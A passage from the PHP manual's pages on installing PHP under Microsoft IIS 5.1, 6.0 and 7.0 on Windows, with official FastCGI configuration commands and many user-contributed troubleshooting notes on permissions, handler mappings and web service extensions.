    A Google search turned up a suggestion re using ISAPI instead of CGI.
SOLUTION
I did the fix per these suggested steps from Google search:
1 Downloaded PHP5 zip
2 Added ISAPI filter PHP5ISAPI.DLL named PHP
3 Changed document type .php to point at the PHP5ISAPI.DLL file instead of PHP.EXE.
RESULT
This worked - the php pages started picking up $DOCUMENT_ROOT as expected.
General suggestion: Don't waste time with CGI, use ISAPI.
Jamez 23-Sep-2005 02:29
PHP 5, IIS 5, Win XP:

One thing to note: if you run phpinfo() and the 'Configuration File (php.ini) Path' points to a directory and not the actual file (ie. C:\\windows instead of C:\\windows\\php.ini) this means that it is not using your php.ini file, it is using default settings.

After spending hours searching forums the only thing that got it to work for me was to create a new environment system variable called 'PHPRC' and set it to the path where your php.ini is located (ie C:\\PHP) - simply adding C:\\PHP to the system path variable didn't do it. You have to reboot after this change of course. I'm not sure why this isn't more documented as from my searching there are quite a few people who experience this problem... hope this helps!
webwhammy.com 16-Sep-2005 01:53
After installing PHP and running an http://localhost/test.php file in my browser, I encountered a COM Surrogate error. After some testing, I found that it was a result of un-checking the Cache ISAPI applications checkbox. Consequently, make sure that the Cache ISAPI applications checkbox has a check in it. To get to the checkbox go to:

Control Panel>Administrative Tools>Internet Information Services

When you are at the IIS window in the left navigational panel go to:

Local Computer>Web Sites>Default Web Site

Right-click on your default web site and select Properties. A Properties window appears. Select the Home Directory tab. Click on the Configuration... button. A Configuration window appears. Below the Mappings tab is the Cache ISAPI applications checkbox.

Again, make sure that the Cache ISAPI applications checkbox has a check in it. I hope this helps anybody else with a similar problem.
Mac Rinehart 08-Sep-2005 06:14
"Click on the 'Configuration' button, and choose the Application Mappings tab. Click Add and set the Executable path to the appropriate CGI file. An example PHP 5 value is: C:\php\php-cgi.exe Supply .php as the extension. Leave 'Method exclusions' blank, and check the 'Script engine' checkbox. Now, click OK a few times."

When installing PHP 5 on IIS 6.0 and Windows 2003 I encountered problems with this instruction. I  believe the root cause is that IIS requires the "scripts and executables" execute permission to be selected if the script engine has a .exe extension.

However, there may have been additional problems. Even when selecting the "scripts and executables" execute permission I continually received HTTP Header errors. The resolution was to follow the instructions for use of php5isapi.dll. The .dll extension can be run with the "scripts only" execute permission. Also remember IIS 6.0 requires that you identify Web Extensions and Allow execution of those extensions.
peter at peterguy dot com 31-Mar-2005 07:43
Installing PHP 5 on Windows Server 2003/IIS6

It has come to my attention that the link to my PHP installation guide in my posting of 07-Feb-2005 11:49 is a Bad Link.
We don't like Bad Links.

Here's the correct one:

http://www.peterguy.com/php/install_IIS6.html

Enjoy!

-Peter
Marat 16-Mar-2005 10:50
The correct required NTFS ACL's are:

- for the folder holding your PHP files:
   [Read] IUSR_servername
   [Read] IWAM_servername

-for the folder holding the PHP executables:
   [Read] IUSR_servername
Person who wants ISAPI version installer 25-Feb-2005 10:59
Supplementation to the previous hint

The environment is Windows 2003 Server/IIS 6/PHP 5.

About IIS 6 of Windows XP.

 There is no 'IISEXT.VBS'.
 It seems not to have to add it to the Web enhancing
 (It is not an accurate intelligence ).
 Moreover, when the method argument of iis6
 isapimap add is omitted, it becomes an error.
 Specify it following and specifying it.

   iis6isapimap add .PHP C:\PHP\php5isapi.dll GET,POST,HEAD

Good Luck !
Person who wants ISAPI version installer 24-Feb-2005 10:34
Hint registered to IIS 6 as ISAPI without using GUI.
(It is a machine translation from Japanese to English. )

[Method of addition to Web enhancing]

'IISEXT.VBS' is attached to IIS 6.

  <addition example>

    iisext /AddFile C:\PHP\php5isapi.dll 1 PHP 1 "PHP: Hypertext Preprocessor"

  <deletion example>

    iisext /RmFile  C:\PHP\php5isapi.dll

[Method of adding extension to Application Mappings]

To our regret, there is no good method in the standard. :-(
The source code of C# program that is registered and deleted is presented in the mapping.
(It is hoped that someone writes VBScript or the JScript version)

  <addition example>

    iis6isapimap add .PHP C:\PHP\php5isapi.dll

 < deletion example>

    iis6isapimap delete .PHP

C# source code
(Add 'System.DirectoryServices' to the reference)
------------------------------------------------------------
using System;
using System.Collections;
using System.DirectoryServices;

namespace IIS6ISAPIMAP

{
    class StartClass
    {
        public static void print_man()
        {
            Console.WriteLine("IIS6ISAPIMAP [view|add|delete] <.ext> <ISAPI DLL PATH> (METHOD LIST)");
        }

        [STAThread]
        static void Main(string[] args)
        {
            if ( args.GetLength(0) < 1 )
            {
                print_man();
                return;
            }

            System.DirectoryServices.DirectoryEntry dent
                = new DirectoryEntry("IIS://localhost/W3SVC/1/root");
            ArrayList orglist
                = new ArrayList( dent.Properties["ScriptMaps"] )  ;

            if ( args[0].ToLower() == "view" )
            {
                foreach(string s in orglist)
                {
                    Console.WriteLine(s);
                }
            }
            else if ( args[0].ToLower() == "add" )
            {
                if ( args.GetLength(0) < 3 )
                {
                    print_man();
                }
                else
                {
                    ArrayList newlist = new ArrayList();
                    string ext = args[1];
                    string path = args[2];
                    string methods = args.GetLength(0) < 4 ? "" : args[3];
                    string newmap = ext + "," + path + ",5," + methods;

                    foreach(string s in orglist)
                    {
                        string [] tokn = s.Split(',');
                        if ( tokn[0].ToLower()  != ext.ToLower() )
                        {
                            newlist.Add( s );
                        }
                    }
                    newlist.Add( newmap );

                    dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                    dent.CommitChanges();
                }
            }
            else if ( args[0].ToLower() == "delete" )
            {
                if ( args.GetLength(0) < 2 )
                {
                    print_man();
                }
                else
                {
                    ArrayList newlist = new ArrayList();
                    string ext = args[1];

                    foreach(string s in orglist)
                    {
                        string [] tokn = s.Split(',');
                        if ( tokn[0].ToLower()  != ext.ToLower() )
                        {
                            newlist.Add( s );
                        }
                    }

                    dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                    dent.CommitChanges();
                }
            }
            else
            {
                print_man();
            }

            dent.Dispose();
        }
    }
}
php at at dougdossett dot com 07-Jan-2005 08:05
I had problems upgrading to 5.0.3 isapi on my IIS 6/Windows 2003 server.  Most of the instructions I found said to give the IUSR account access to various files/folders.  In my case I needed to give access to "Network Service" (not to be confused with just "Network").

1. In IIS Admin, go to Application Pools
2. Right click on the pool your site is running under and click properties.
3. Go to the Identity tab and see what user is selected.
4. Give that user permissions to your php files/directory.

Don't know if this will help anyone else, but thought I'd offer in case.
megawhizzz at netscape dot com 12-Oct-2004 01:19
Path references (e.g. for browscap.ini) in php.ini MUST be enclosed with double-quotes (") instead of single-quotes(') for PHP to load correctly under IIS
paul at heisholt dot net 30-Aug-2004 10:43
There's a bug in IIS 5.1 which may prevent you from adding an Application Extension Mapping. If the OK button remains disabled after you've entered the Executable and the Extension, try this workaround provided by Microsoft:

1. Right-click the individual Web site or the Web Sites folder, and then click Properties.
2. On the Home Directory tab, click Configuration.
3. Under Application Configuration, click Add, and then click the Mappings tab.
4. With the Add/Edit Application Extension Mapping dialog box open, click Browse to select the .exe file or the .dll file from the local path on the Web server.

Note:
You must type the path to a valid file in the Executable text box or the OK button remains unavailable. The easiest way to make sure that you enter a valid path is to select the file by using the Browse button.

5. After the path appears in the Executable text box, click in the Executable text box to initialize the path.

6. Click in the Extension space, and then type the file name extension.

Note:
- You must enter the period (.) in front of the extension in the Extension text box, or the OK button remains unavailable.

7. When the OK button becomes active, click OK to continue.

Source: http://support.microsoft.com/?id=317948

-paul-
webmaster at avalon dot de 13-Aug-2004 04:55
If you use IIS6 you have to add a new Webextension for PHP to work, otherwise you will get a "404"-Page if you try to point your browser to a "*.php" file.
In order to do this you have to open the IIS-management console and open the "local computer".
Under "webextensions" you will find allready a list with different extensions all being blocked by default.
To get PHP to work you have to manually add a new webextension. I only have a german version of IIS in front of me so forgive me if i translate the buttons wrongly.
Click on "New webextension". Enter any name you like for your new extension. Click on "Add..." and then on "Search...". If you would like to add the DLL just browse to your PHP-directory and you will find the php5ts.dll. If you search for the php-cgi.exe you have to change the filetype at the bottom to "CGI-Exe-Files". Only after changing the filetype you can see the php-cgi.exe file and choose it for the extension.
If you check the checkbox at the bottom of the "New extension" Window it will allow the newly added extension to be executed. Certainly you can change the status any time you want by clicking on "Allow".
Only after that procedure you will be able to get in touch with PHP-files.

sincerely
Juergen Sommer
venimus at mail dot com 07-Jun-2004 04:57
Under IIS6 (and earlier)
After all the installation, do not forget to add "index.php" as default page, under the Documents tab in the Web Site's Properties.
1. Right-click Web Sites, choose Properties
2. Click Documents tab
3. Click Add...
4. Type index.php, click Ok
5. Choose "index.php" from the list and move it to the top using Move Up button.
6. Make sure "Enable default content page" is checked.

Ofcourse you can add other pages as default.

For those that do not know what is this for: If you do not provide full URL and you have several pages in the directory which are in this list, the server will return the topmost of them. In case you wish to open other page of them, you have to provide its full URL. Putting "index.php" on top will make sure no other pages will be returned as default.
jorrit at gameparty dot net 02-Jun-2004 01:33
If you experience extreme high loading times, please have a look at this http://bugs.php.net/bug.php?id=28524
tstirrat AT optusnet DOT com DT au 21-Apr-2004 05:14
I am running Active Directory & IIS6.0

I found that after looking through the tutorial below i was still unable to get into my site (authentication popup, 401.3 error). I set my permissions for read & execute for IUSR_(server) and IIS_WPG for both my document root and the php directory.. no luck.

However, here's how i solved the problem. (I believe this solution is relevant to fixing the active directory issue)

1. You want to give the IUSR_* and IIS_WPG read & execute permission to the PHP DIRECTORY ONLY. (I managed to remove the credentials from my document root and it still works.

2. Open IIS Manager and go to Application Pools, then to the pool which is relevant to your site (in my case DefaultAppPool).. on this item, right click and choose properties.

3. Now navigate to the identity tab.

4. My Worker process was set to Predefined: Network Service. I changed this to Configurable: IWAM_(server name) (which if you noticed is in the user group 'IIS_WPG')

Note: i also changed the passwords for my IUSR_* and IWAM_* accounts to be sure they werent set to something easy by default. Its probably a good idea to do this too.

Hope this solves someones frustration.
giunta dot gaetano at sea-aeroportimilano dot it 12-Feb-2004 02:32
If some extensions (such as OCI or Turck mmcache in FastCGI mode) have trouble functioning with PHP+IIS, make sure that "Allow IIS to Control Password" is unchecked in the preferences panel for anonymous user access.

For more detail on the issue, read articles 216828 and 218756 in the MS Knoweledge Base.
Aaron Blew 11-Feb-2004 09:24
Under IIS 6, don't forget that you have to add all the PHP modules you'd like to run to the PHP Web Service Extension part under the IIS management console.
webmaster at riachao dot com 12-Aug-2003 03:49
In the installation with IIS 6.0, after you add the isapi extension, you need to allow the extension in the Web Services Extensions, or you 'll get a 404 error.
nbrookins at cbwstores dot com 11-Apr-2003 06:16
On Windows Server 2003 (formerly .net server) with IIS 6 (final RTM - build 3790)

 I got PHP working by using one of the tips above (thanks!).

I noted however, that I did not need to 'allow unknown Isapi applications' , and I was able to keep the configuration at 'Scripts Only' instead of 'Scripts and Executables'  - both settings are potentially more secure this way.

The only configuration that is different from how I normally configure PHP on IIS 5 is the addition of PHP as a Web Service Extension.
jdogg00 at msn dot com 03-Nov-2002 05:50
Here's a quick fyi, to get PHP installed on .Net Server w/ IIS 6 you have to use the IIS manager to enable support for different web service extentions. CGI ,ASP, ISAPI are all prohibited by default. In IIS manager click on the Web Service Extentions Folder there's options to add a new extention , prohibit all extentions etc. I chose add new extention ,in the dialog box I named it PHP , click add , in the next dialog browse to path of 'php4isapi.dll' hit ok then mark checkbox "Set extention status Allowed"  hit ok and all is good. This was done after I followed the install.txt for IIS 4 or newer .
greg at wfrmls dot com 23-Jan-2001 06:12
When using WindowsNT 4.0 and IIS, the WWW home directory needs to have Read AND Execute access rights.


Microsoft IIS 5.1 and IIS 6.0

This section contains instructions for manually setting up Internet Information Services (IIS) 5.1 and IIS 6.0 to work with PHP on Microsoft Windows XP and Windows Server 2003. For instructions on setting up IIS 7.0 and later versions on Windows Vista, Windows Server 2008, Windows 7 and Windows Server 2008 R2 refer to Microsoft IIS 7.0 and later.

Configuring IIS to process PHP requests

Download and install PHP in accordance to the instructions described in manual installation steps

Note:

Non-thread-safe build of PHP is recommended when using IIS. The non-thread-safe builds are available at » PHP for Windows: Binaries and Sources Releases.

Configure the CGI- and FastCGI-specific settings in php.ini file as shown below:

Example #1 CGI and FastCGI settings in php.ini

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

Download and install the » Microsoft FastCGI Extension for IIS 5.1 and 6.0. The extension is available for 32-bit and 64-bit platforms - select the right download package for your platform.

Configure the FastCGI extension to handle PHP-specific requests by running the command shown below. Replace the value of the "-path" parameter with the absolute file path to the php-cgi.exe file.

Example #2 Configuring FastCGI extension to handle PHP requests

cscript %windir%\system32\inetsrv\fcgiconfig.js -add -section:"PHP" ^
-extension:php -path:"C:\PHP\php-cgi.exe"

This command will create an IIS script mapping for *.php file extension, which will result in all URLs that end with .php being handled by FastCGI extension. Also, it will configure FastCGI extension to use the executable php-cgi.exe to process the PHP requests.

Note:

At this point the required installation and configuration steps are completed. The remaining instructions below are optional but highly recommended for achieving optimal functionality and performance of PHP on IIS.

Impersonation and file system access

It is recommended to enable FastCGI impersonation in PHP when using IIS. This is controlled by the fastcgi.impersonate directive in php.ini file. When impersonation is enabled, PHP will perform all the file system operations on behalf of the user account that has been determined by IIS authentication. This ensures that even if the same PHP process is shared across different IIS web sites, the PHP scripts in those web sites will not be able to access each others' files as long as different user accounts are used for IIS authentication on each web site.

For example IIS 5.1 and IIS 6.0, in its default configuration, has anonymous authentication enabled with built-in user account IUSR_<MACHINE_NAME> used as a default identity. This means that in order for IIS to execute PHP scripts, it is necessary to grant IUSR_<MACHINE_NAME> account read permission on those scripts. If PHP applications need to perform write operations on certain files or write files into some folders then IUSR_<MACHINE_NAME> account should have write permission to those.

To determine which user account is used by IIS anonymous authentication, follow these steps:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. Expand the list of web sites under the "Web Sites" node in the tree view, right-click on a web site that is being used and select "Properties";

  3. Click the "Directory Security" tab;

  4. Take note of a "User name:" field in the "Authentication Methods" dialog

Anonymous authenication for IIS 5.1 and IIS 6.0

To modify the permissions settings on files and folders, use the Windows Explorer user interface or icacls command.

Example #3 Configuring file access permissions

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

Set index.php as a default document in IIS

The IIS default documents are used for HTTP requests that do not specify a document name. With PHP applications, index.php usually acts as a default document. To add index.php to the list of IIS default documents, follow these steps:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. Right-click on the "Web Sites" node in the tree view and select "Properties";

  3. Click the "Documents" tab;

  4. Click the "Add..." button and enter "index.php" for the "Default content page:".

Setting index.php as default document for IIS

FastCGI and PHP Recycling configuration

Configure IIS FastCGI extension settings for recycling of PHP processes by using the commands shown below. The FastCGI setting instanceMaxRequests controls how many requests will be processed by a single php-cgi.exe process before FastCGI extension shuts it down. The PHP environment variable PHP_FCGI_MAX_REQUESTS controls how many requests a single php-cgi.exe process will handle before it recycles itself. Make sure that the value specified for FastCGI InstanceMaxRequests setting is less than or equal to the value specified for PHP_FCGI_MAX_REQUESTS.

Example #4 Configuring FastCGI and PHP recycling

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-InstanceMaxRequests:10000

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHP_FCGI_MAX_REQUESTS:10000

Configuring FastCGI timeout settings

Increase the timeout settings for FastCGI extension if there are applications that have long running PHP scripts. The two settings that control timeouts are ActivityTimeout and RequestTimeout. Refer to » Configuring FastCGI Extension for IIS 6.0 for more information about those settings.

Example #5 Configuring FastCGI timeout settings

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-ActivityTimeout:90

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-RequestTimeout:90

Changing the Location of php.ini file

PHP searches for php.ini file in several locations and it is possible to change the default locations of php.ini file by using PHPRC environment variable. To instruct PHP to load the configuration file from a custom location run the command shown below. The absolute path to the directory with php.ini file should be specified as a value of PHPRC environment variable.

Example #6 Changing the location of php.ini file

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHPRC:"C:\Some\Directory\"

User Contributed Notes

pythonex12 at gmail dot com 24-Feb-2014 04:27
I used Windows 2003 Server, IIS 6.0, MS SQL Server 2008, and PHP 5.3 along with FastCGI. If, after following the set up step-by-steps, you continually get a FastCGI 500 timeout error check your MS SQL Server PHP driver.

MS SQL Server PHP driver 3.0 which was updated on 04/18 requires you have the 2012 MS SQL Server Native Client (v 11). But if you are using MS SQL Server 2008 like I was you only have the 2008 MS SQL Server Native Client (v 10). For whatever reason I could not get the 2012 Native CLient to install on the OS even though it appeared MS's website said it should be able to.

So just downgrade to the MS SQL Server PHP driver 2.0. The site says it will be deprecated but at least you can get up and running for a while until you have to upgrade your OS and MS SQL Server.

This kinda drove me nuts for a few hours.
renigade1 at can-d dot net 28-Oct-2012 05:01
If you still receive 404 errors... try this...

I had to:

1)    right click on My Computer, select Manage
2)    open up "Services and Applications" -> "Internet Information Services" -> "Web Sites" -> mywebsite (where mywebsite could be "Default Web Site" or whatever my web site is named)
3)    right-click on mywebsite and select Properties
    choose the "Home Directory" tab, select Configuration... button
4)    either select the .php extension and choose the Edit... button, or if .php isn't listed then press the Add... button
5)    make the Executable C:\WINDOWS\system32\inetsrv\fcgiext.dll, the extension .php, and ensure Verbs are limited to GET,HEAD,POST, check the "Script engine" and "Verify that file exists" check boxes

Once I did this I at least now get the 500 fastcgi error
Simon Elms 04-Sep-2012 01:47
Installing PHP 5.4 on Windows Server 2003 R2 Standard Edition with IIS 6:

Issue: After installing PHP I was getting 404 errors on all .php pages, even if I browsed from within IIS Manager.

Solution: Add a PHP Web Service Extension:

In IIS Manager, expande the local computer node on the left and right-click on Web Service Extensions.  From the context menu select "Add a new Web service extension..."

In the New Web Service Extension dialog:

    Extension name: PHP

    Required files: Add... path to php.exe (eg C:\PHP\php.exe)

Set status of new web service extension to Allowed.

NOTE: Seems to work equally well if you use the path to php.exe or php-cgi.exe.
Anonymous 20-May-2012 10:25
When installing PHP 5.3 on IIS by following the manual installation steps described here (http://www.php.net/manual/en/install.windows.iis6.php) and here (http://www.php.net/manual/en/install.windows.iis7.php) it is possible to get the following error from FastCGI:

HTTP Error 500.0 - Internal Server Error

Module: FastCgiModule

Notification: ExecuteRequestHandler

Handler: php-5.3.6

Error code: 0x800736b1

The reason this error happens is because PHP 5.3 is built by using Visual C++ 2008 compiler (VC9) and hence requires Visual C++ 2008 runtime to be installed on the machine. This error does not happen when PHP 5.3 is installed by Web Platform Installer or if you already have URL Rewrite module installed.

To fix the error download and install Visual C++ 2008 runtime from here:

http://www.microsoft.com/downloads/en/details.aspx?familyid=9b2da534-3e03-4391-8a4d-074b9f2bc1bf&displaylang=en

(Make sure to use x86 version even if you have x64 environment)
Refrito 22-Apr-2012 06:57
Using Win 2003 Server, IIS 6, PHP 5. If after running the command:

cscript fcgiconfig.js -add -section:"PHP" -extension:"php" -path:"C:\PHP\php-cgi.exe"
(with the right quotation as pointed in a previous note)

You get the following error/message:
C:\WINDOWS\system32\inetsrv\fcgiconfig.js(1326, 5) (null): 0xFFFFFFDF

It may be because you have a previous version of C:\WINDOWS\system32\inetsrv\fcgiext.ini. So backup the file and make a clean one with only an empty [types] section. Run the command again and it should work.
stpetersn at Hotmail dot com 20-Apr-2012 02:50
I used Windows 2003 Server, IIS 6.0, MS SQL Server 2008, and PHP 5.3 along with FastCGI. If, after following the set up step-by-steps, you continually get a FastCGI 500 timeout error check your MS SQL Server PHP driver.

MS SQL Server PHP driver 3.0 which was updated on 04/18 requires you have the 2012 MS SQL Server Native Client (v 11). But if you are using MS SQL Server 2008 like I was you only have the 2008 MS SQL Server Native Client (v 10). For whatever reason I could not get the 2012 Native CLient to install on the OS even though it appeared MS's website said it should be able to.

So just downgrade to the MS SQL Server PHP driver 2.0. The site says it will be deprecated but at least you can get up and running for a while until you have to upgrade your OS and MS SQL Server.

This kinda drove me nuts for a few hours.
bjorn dot tornroth at nettitonttu dot fi 12-Feb-2012 06:45
If you receive:

Input Error: There is no script engine for file extension ".js".

When executing:

cscript %windir%\system32\inetsrv\fcgiconfig.js -add -section:"PHP" -extension:php -path:"C:\PHP\php-cgi.exe"

Include the switch:

/e:jscript

Like this:

cscript /e:jscript %windir%\system32\inetsrv\fcgiconfig.js -add -section:"PHP" -extension:php -path:"C:\PHP\php-cgi.exe"

Worked on freshly installed XP Pro ENG SP3(updated).
Anonymous 10-Feb-2012 11:53
I am using Win 2003 Server SP2, IIS 6, Installing PHP 5.3.10 as FastCGI

If you continue to receive FastCGI could not proccess your request - Access Denied Error -5 check to make sure the IIS_WPG Group has Read, Read/Execute permission to the PHP installation directory and is inherited to the php-cgi.exe file.

Also, in researching this problem during my installation, I also found that you should have an entry in the IIS Web Extensions for the php-cgi.exe.
koen dot bauwens at fracarita dot org 08-Sep-2011 09:42
When executing:

cscript %windir%\system32\inetsrv\fcgico
nfig.js -add -section:"PHP" ^
More? -extension:php -path:"C:\PHP\php-cgi.exe"

You get this response:

Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\WINDOWS\system32\inetsrv\fcgiconfig.js(1348, 5) (null): 0xFFFFFFDF

Then check if in the C:\WINDOWS\system32\inetsrv\fcgiext.ini file the next text is present:

[Types]
php=c:\php\php-cgi.exe

[c:\php\php-cgi.exe]
QueueLength=999
MaxInstances=20
InstanceMaxRequests=10000
IdleTimeout=90
RequestTimeout=90

If not, add it, worked for me!
gsaarenvirta at makeplain dot com 14-Mar-2011 01:49
A note for your reference ... I was getting error 404 "file not found when trying to browse .php" files in \inetpub\wwwroot although .html files worked fine... messed around for hours until I tried this on advice of a friend.

FYI ...

Operating system Windows Server 2003 SP2 x64
IIS v6.0
PHP v 5.3.5 nts windows x86
Microsoft C++ 2008 redistributable
no fastcgi

Followed all the manual PHP configuration instructions very carefully, set php.ini directives, gave appropriate permissions to "IUSR_(machine)", set up web extensions etc. etc.

The final fix that made everything work... renamed 'php.ini' to 'php-cgi-fcgi.ini'

Hope this saves someone hours...
crab dot crab at gmail dot com 19-Nov-2010 08:40
I am using Win 2003 Server, IIS 6, PHP 5.

If you see "You are not authorized to view this page" error when running your PHP page.

Try one more thing:
1. Right-click {C:\php} (or your PHP installation root) and select {Properties}
2. Select {Security} tab and click {Add} button
3. Enter {ComputerName/IUSR_ComputerName} as object name and press {OK}
4. Select {Read & Execute} as permissions
5. Click {Advanced} button and select {Allow inheritable permissions from the parent...} checkbox
6. Press {OK}
Anonymous 15-Sep-2010 07:29
i`ve the same trouble after the install php 5.2.14-nts on IIS6 (Win2003Server)- try to open-dialog when php-file is opening...

I`ve to manual add .php in "Application configuration"  ... \system32\inetsrv\fcgiext.dll  (even this option selected in installation - "Script executable")

this solved the problem :)


Microsoft IIS 7.0 and later

This section contains instructions for manually setting up Internet Information Services (IIS) 7.0 and later to work with PHP on Microsoft Windows Vista SP1, Windows 7, Windows Server 2008 and Windows Server 2008 R2. For instructions on setting up IIS 5.1 and IIS 6.0 on Windows XP and Windows Server 2003 refer to Microsoft IIS 5.1 and IIS 6.0.

Enabling FastCGI support in IIS

FastCGI module is disabled in default installation of IIS. The steps to enable it differ based on the version of Windows being used.

To enable FastCGI support on Windows Vista SP1 and Windows 7:

  1. In the Windows Start Menu choose "Run:", type "optionalfeatures.exe" and click "Ok";

  2. In the "Windows Features" dialog expand "Internet Information Services", "World Wide Web Services", "Application Development Features" and then enable the "CGI" checkbox;

  3. Click OK and wait until the installation is complete.

Enabling FastCGI support for IIS7 on Windows Vista SP1 and Windows 7

To enable FastCGI support on Windows Server 2008 and Windows Server 2008 R2:

  1. In the Windows Start Menu choose "Run:", type "CompMgmtLauncher" and click "Ok";

  2. If the "Web Server (IIS)" role is not present under the "Roles" node, then add it by clicking "Add Roles";

  3. If the "Web Server (IIS)" role is present, then click "Add Role Services" and then enable the "CGI" checkbox under "Application Development" group;

  4. Click "Next" and then "Install" and wait for the installation to complete.

Enabling FastCGI support on Windows Server 2008 and Windows Server 2008 R2

Configuring IIS to process PHP requests

Download and install PHP in accordance to the instructions described in manual installation steps

Note:

Non-thread-safe build of PHP is recommended when using IIS. The non-thread-safe builds are available at » PHP for Windows: Binaries and Sources Releases.

Configure the CGI- and FastCGI-specific settings in php.ini file as shown below:

Example #1 CGI and FastCGI settings in php.ini

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

Configure IIS handler mapping for PHP by using either IIS Manager user interface or a command line tool.

Using IIS Manager user interface to create a handler mapping for PHP

Follow these steps to create an IIS handler mapping for PHP in IIS Manager user interface:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. In the IIS Manager user interface select the server node in the "Connections" tree view;

  3. In the "Features View" page open the "Handler Mappings" feature;

    Create IIS handler mapping for PHP : Locate Handler Mappings

  4. In the "Actions" pane click "Add Module Mapping...";

  5. In the "Add Module Mapping" dialog enter the following:

    • Request path: *.php
    • Module: FastCgiModule
    • Executable: C:\[Path to PHP installation]\php-cgi.exe
    • Name: PHP_via_FastCGI

  6. Click "Request Restrictions" button and then configure the mapping to invoke handler only if request is mapped to a file or a folder;

  7. Click OK on all the dialogs to save the configuration.

Create IIS handler mapping for PHP : Add Handler Mapping

Using command line tool to create a handler mapping for PHP

Use the command shown below to create an IIS FastCGI process pool which will use php-cgi.exe executable for processing PHP requests. Replace the value of the fullPath parameter with the absolute file path to the php-cgi.exe file.

Example #2 Creating IIS FastCGI process pool

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI ^
/+[fullPath='c:\PHP\php-cgi.exe']

Configure IIS to handle PHP specific requests by running the command shown below. Replace the value of the scriptProcessor parameter with the absolute file path to the php-cgi.exe file.

Example #3 Creating handler mapping for PHP requests

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers ^
/+[name='PHP_via_FastCGI', path='*.php',verb='*',modules='FastCgiModule',^
scriptProcessor='c:\PHP\php-cgi.exe',resourceType='Either']

This command creates an IIS handler mapping for *.php file extension, which will result in all URLs that end with .php being handled by FastCGI module.

Note:

At this point the required installation and configuration steps are completed. The remaining instructions below are optional but highly recommended for achieving optimal functionality and performance of PHP on IIS.

Impersonation and file system access

It is recommended to enable FastCGI impersonation in PHP when using IIS. This is controlled by the fastcgi.impersonate directive in php.ini file. When impersonation is enabled, PHP will perform all the file system operations on behalf of the user account that has been determined by IIS authentication. This ensures that even if the same PHP process is shared across different IIS web sites, the PHP scripts in those web sites will not be able to access each other's files as long as different user accounts are used for IIS authentication on each web site.

For example IIS 7, in its default configuration, has anonymous authentication enabled with built-in user account IUSR used as a default identity. This means that in order for IIS to execute PHP scripts, it is necessary to grant IUSR account read permission on those scripts. If PHP applications need to perform write operations on certain files or write files into some folders then IUSR account should have write permission to those.

To determine what user account is used as an anonymous identity in IIS 7 use the following command. Replace the "Default Web Site" with the name of IIS web site that you use. In the output XML configuration element look for the userName attribute.

Example #4 Determining the account used as IIS anonymous identity

%windir%\system32\inetsrv\appcmd.exe list config "Default Web Site" ^
/section:anonymousAuthentication

<system.webServer>
  <security>
    <authentication>
      <anonymousAuthentication enabled="true" userName="IUSR" />
    </authentication>
   </security>
</system.webServer>

Note:

If userName attribute is not present in the anonymousAuthentication element, or is set to an empty string, then it means that the application pool identity is used as an anonymous identity for that web site.

To modify the permissions settings on files and folders, use the Windows Explorer user interface or icacls command.

Example #5 Configuring file access permissions

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

Set index.php as a default document in IIS

The IIS default documents are used for HTTP requests that do not specify a document name. With PHP applications, index.php usually acts as a default document. To add index.php to the list of IIS default documents, use this command:

Example #6 Set index.php as a default document in IIS

%windir%\system32\inetsrv\appcmd.exe set config ^
-section:system.webServer/defaultDocument /+"files.[value='index.php']" ^
/commit:apphost

FastCGI and PHP Recycling configuration

Configure IIS FastCGI settings for recycling of PHP processes by using the commands shown below. The FastCGI setting instanceMaxRequests controls how many requests will be processed by a single php-cgi.exe process before IIS shuts it down. The PHP environment variable PHP_FCGI_MAX_REQUESTS controls how many requests a single php-cgi.exe process will handle before it recycles itself. Make sure that the value specified for FastCGI InstanceMaxRequests setting is less than or equal to the value specified for PHP_FCGI_MAX_REQUESTS.

Example #7 Configuring FastCGI and PHP recycling

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='c:\php\php-cgi.exe'].instanceMaxRequests:10000

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/+"[fullPath='C:\{php_folder}\php-cgi.exe'].environmentVariables.^
[name='PHP_FCGI_MAX_REQUESTS',value='10000']"

FastCGI timeout settings

Increase the timeout settings for FastCGI if it is expected to have long running PHP scripts. The two settings that control timeouts are activityTimeout and requestTimeout. Use the commands below to change the timeout settings. Make sure to replace the value in the fullPath parameter to contain the absolute path to the php-cgi.exe file.

Example #8 Configuring FastCGI timeout settings

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].activityTimeout:"90"  /commit:apphost

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].requestTimeout:"90"  /commit:apphost

Changing the Location of php.ini file

PHP searches for php.ini file in several locations and it is possible to change the default locations of php.ini file by using PHPRC environment variable. To instruct PHP to load the configuration file from a custom location run the command shown below. The absolute path to the directory with php.ini file should be specified as a value of PHPRC environment variable.

Example #9 Changing the location of php.ini file

appcmd.exe set config  -section:system.webServer/fastCgi ^
/+"[fullPath='C:\php\php.exe',arguments=''].environmentVariables.^
[name='PHPRC',value='C:\Some\Directory\']" /commit:apphost

User Contributed Notes

matteo dot alvazzi at gmail dot com 11-Sep-2014 05:42
